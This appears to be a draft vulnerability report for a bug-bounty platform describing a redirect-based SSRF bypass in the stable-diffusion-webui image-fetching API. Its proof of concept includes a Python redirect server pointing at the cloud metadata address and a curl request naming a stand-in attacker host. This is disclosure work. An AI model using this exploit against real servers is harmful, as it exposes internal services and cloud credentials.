# stable-diffusion-webui — SSRF via redirect bypass in image URL fetching STATUS: ALMOST_REPORT (needs investigation; do not submit) readiness: NEEDS_INVESTIGATION program: stable-diffusion-webui | platform: huntr | repo: AUTOMATIC1111/stable-diffusion-webui | commit: 82a973c ```` Repository URL: https://github.com/AUTOMATIC1111/stable-diffusion-webui Package Manager: pip Version Affected: v1.10.1 (commit 82a973c) Vulnerability Type: Server-Side Request Forgery (SSRF) CVSS: Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality: High Integrity: None Availability: None Title: SSRF bypass via redirects in decode_base64_to_image() (verify_url not applied to redirect target) Impact: If the API is exposed, an attacker can bypass the local-request restriction and force the server to fetch internal endpoints (e.g., cloud instance metadata) via a public URL that redirects to a private target. Description: # Description `modules/api/api.py:decode_base64_to_image()` accepts `http://` and `https://` URLs and attempts to forbid local/internal requests using `verify_url()` when `opts.api_forbid_local_requests` is enabled. However: 1. `requests.get()` follows redirects by default. 2. `verify_url()` validates only the original URL's DNS resolution and does not validate redirect targets. This allows an SSRF bypass where an attacker-controlled public URL returns a redirect to a private/internal target (e.g., `http://169.254.169.254/latest/meta-data/`). The initial URL passes `verify_url()` because it resolves to a global IP, but the redirect target is not re-validated. A DNS rebinding variant is also possible because `verify_url()` resolves DNS, then `requests.get()` resolves DNS again independently. # Proof of Concept Precondition: the server is started with `--api` and the API is network-reachable. 1. Host a URL on a public domain that returns a redirect to a private target: ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 80), RedirectHandler).serve_forever() ``` 2. Send an API request that causes `decode_base64_to_image()` to fetch the URL. Example (`img2img`): ```bash curl -X POST 'http://:7860/sdapi/v1/img2img' \ -H 'Content-Type: application/json' \ -d '{"init_images": ["http://evil.example/"], "prompt": "test", "steps": 1}' ``` Expected behavior: the server fetches the redirect target despite the local-request restriction. ### Impact SSRF to internal services reachable from the server network context; on cloud deployments this may reach instance metadata endpoints and lead to credential exposure. ### Occurrences ``` Permalink: https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/82a973c04367123ae98bd9abdf80d9eda9b910e2/modules/api/api.py#L46-L75 Description: verify_url() checks only original host IPs. Permalink: https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/82a973c04367123ae98bd9abdf80d9eda9b910e2/modules/api/api.py#L77-L96 Description: requests.get() is called with redirects enabled by default; redirect targets are not validated. ``` ### References ``` URL: https://cwe.mitre.org/data/definitions/918.html Name: CWE-918: Server-Side Request Forgery (SSRF) URL: https://portswigger.net/web-security/ssrf Name: PortSwigger SSRF (redirect-based bypasses) URL: https://cwe.mitre.org/data/definitions/367.html Name: CWE-367: TOCTOU Race Condition ``` Occurrences: Permalink: https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/82a973c04367123ae98bd9abdf80d9eda9b910e2/modules/api/api.py#L46-L75 Description: verify_url() validates only the original hostname and does not cover redirects or DNS rebinding (TOCTOU). Permalink: https://github.com/AUTOMATIC1111/stable-diffusion-webui/blob/82a973c04367123ae98bd9abdf80d9eda9b910e2/modules/api/api.py#L77-L96 Description: decode_base64_to_image() uses requests.get() (redirects enabled by default) after verify_url(), without validating the final URL. References: URL: https://cwe.mitre.org/data/definitions/918.html Name: CWE-918: Server-Side Request Forgery (SSRF) URL: https://portswigger.net/web-security/ssrf Name: PortSwigger SSRF (redirect-based bypasses) URL: https://cwe.mitre.org/data/definitions/367.html Name: CWE-367: TOCTOU Race Condition ````